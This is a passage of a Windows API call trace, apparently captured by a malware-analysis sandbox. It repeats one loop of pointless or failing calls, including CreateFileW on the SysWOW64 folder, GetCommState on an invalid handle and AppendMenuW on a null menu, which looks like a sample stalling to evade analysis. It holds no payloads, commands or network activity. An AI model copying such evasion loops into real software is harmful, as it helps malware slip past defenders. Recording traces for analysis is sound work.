	[0050.523] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.523] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.523] SetErrorMode (uMode=0x1) returned 0x1
	[0050.523] GetLogicalDrives () returned 0x4
	[0050.523] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.524] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.524] AppendMenuW (hMenu=0x0, uFlags=0x80bf8e9c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.524] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.524] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.524] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.524] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.524] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.524] SetErrorMode (uMode=0x1) returned 0x1
	[0050.524] GetLogicalDrives () returned 0x4
	[0050.524] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.524] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.524] AppendMenuW (hMenu=0x0, uFlags=0x80c06928, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.524] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.524] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.524] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.524] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.525] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.525] SetErrorMode (uMode=0x1) returned 0x1
	[0050.525] GetLogicalDrives () returned 0x4
	[0050.525] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.525] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.525] AppendMenuW (hMenu=0x0, uFlags=0x80c16adc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.525] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.525] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.525] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.525] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.525] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.525] SetErrorMode (uMode=0x1) returned 0x1
	[0050.525] GetLogicalDrives () returned 0x4
	[0050.526] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.526] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.526] AppendMenuW (hMenu=0x0, uFlags=0x80c24568, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.526] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.526] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.526] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.526] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.526] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.526] SetErrorMode (uMode=0x1) returned 0x1
	[0050.526] GetLogicalDrives () returned 0x4
	[0050.526] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.526] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.526] AppendMenuW (hMenu=0x0, uFlags=0x80c3471c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.526] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.526] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.526] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.526] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.526] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.526] SetErrorMode (uMode=0x1) returned 0x1
	[0050.527] GetLogicalDrives () returned 0x4
	[0050.527] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.527] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.527] AppendMenuW (hMenu=0x0, uFlags=0x80c421a8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.527] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.527] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.527] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.527] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.527] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.527] SetErrorMode (uMode=0x1) returned 0x1
	[0050.527] GetLogicalDrives () returned 0x4
	[0050.527] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.527] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.527] AppendMenuW (hMenu=0x0, uFlags=0x80c5235c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.527] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.527] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.527] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.527] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.527] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.528] SetErrorMode (uMode=0x1) returned 0x1
	[0050.528] GetLogicalDrives () returned 0x4
	[0050.528] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.528] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.528] AppendMenuW (hMenu=0x0, uFlags=0x80c5fde8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.528] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.528] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.528] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.528] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.528] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.528] SetErrorMode (uMode=0x1) returned 0x1
	[0050.528] GetLogicalDrives () returned 0x4
	[0050.528] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.528] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.528] AppendMenuW (hMenu=0x0, uFlags=0x80c6ff9c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.528] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.528] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.528] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.528] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.529] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.529] SetErrorMode (uMode=0x1) returned 0x1
	[0050.529] GetLogicalDrives () returned 0x4
	[0050.529] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.529] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.529] AppendMenuW (hMenu=0x0, uFlags=0x80c7da28, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.529] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.529] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.529] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.529] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.529] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.529] SetErrorMode (uMode=0x1) returned 0x1
	[0050.529] GetLogicalDrives () returned 0x4
	[0050.529] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.529] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.529] AppendMenuW (hMenu=0x0, uFlags=0x80c8dbdc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.529] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.529] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.529] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.530] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.530] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.530] SetErrorMode (uMode=0x1) returned 0x1
	[0050.530] GetLogicalDrives () returned 0x4
	[0050.530] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.530] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.530] AppendMenuW (hMenu=0x0, uFlags=0x80c9b668, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.530] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.530] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.530] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.530] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.530] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.530] SetErrorMode (uMode=0x1) returned 0x1
	[0050.530] GetLogicalDrives () returned 0x4
	[0050.530] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.530] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.530] AppendMenuW (hMenu=0x0, uFlags=0x80c9b81c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.531] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.531] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.531] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.531] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.531] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.531] SetErrorMode (uMode=0x1) returned 0x1
	[0050.531] GetLogicalDrives () returned 0x4
	[0050.531] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.531] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.531] AppendMenuW (hMenu=0x0, uFlags=0x80ca92a8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.531] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.531] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.531] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.531] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.531] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.531] SetErrorMode (uMode=0x1) returned 0x1
	[0050.531] GetLogicalDrives () returned 0x4
	[0050.531] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.531] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.532] AppendMenuW (hMenu=0x0, uFlags=0x80cb945c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.532] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.532] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.532] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.532] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.532] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.532] SetErrorMode (uMode=0x1) returned 0x1
	[0050.532] GetLogicalDrives () returned 0x4
	[0050.532] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.532] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.532] AppendMenuW (hMenu=0x0, uFlags=0x80cc6ee8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.532] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.532] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.532] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.532] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.532] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.532] SetErrorMode (uMode=0x1) returned 0x1
	[0050.532] GetLogicalDrives () returned 0x4
	[0050.532] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.533] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.533] AppendMenuW (hMenu=0x0, uFlags=0x80cd709c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.533] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.533] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.533] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.533] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.533] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.533] SetErrorMode (uMode=0x1) returned 0x1
	[0050.533] GetLogicalDrives () returned 0x4
	[0050.533] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.533] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.533] AppendMenuW (hMenu=0x0, uFlags=0x80ce4b28, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.533] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.533] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.533] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.533] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.533] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.533] SetErrorMode (uMode=0x1) returned 0x1
	[0050.534] GetLogicalDrives () returned 0x4
	[0050.534] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.534] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.534] AppendMenuW (hMenu=0x0, uFlags=0x80cf4cdc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.534] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.534] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.534] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.534] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.534] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.534] SetErrorMode (uMode=0x1) returned 0x1
	[0050.534] GetLogicalDrives () returned 0x4
	[0050.534] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.534] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.534] AppendMenuW (hMenu=0x0, uFlags=0x80d02768, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.534] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.534] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.534] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.534] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
